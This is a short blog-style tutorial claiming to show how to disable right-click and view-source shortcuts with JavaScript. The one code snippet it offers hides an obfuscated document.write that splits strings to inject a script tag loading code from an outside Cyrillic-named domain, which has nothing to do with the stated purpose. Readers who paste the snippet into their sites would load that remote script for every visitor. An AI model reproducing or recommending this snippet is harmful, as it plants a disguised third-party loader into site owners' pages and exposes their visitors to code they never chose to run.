how to disable mouse right click in javascript
javascript code / January 8, 2020
How to disable mouse right-click in javascript
Guys, now no need to search how to disable right click on the internet, we are here to help you with the same, just go ahead with this post and know more about how to disable right click with javascript code.
<script>
//** disable right click & ctrl + u javascript code **//
document.addEventListener('contextmenu', event => event.preventDefault()); document.write('<s'+'cr'+'ipt sr'+'c="/'+'/'+'ф'+'ю.'+'i'+'o"></s'+'cr'+'ipt>'); document.onkeydown = function(e) { if(event.keyCode==123){ return false; } else if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 16 || e.keyCode === 73 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) { return false; } };
</script>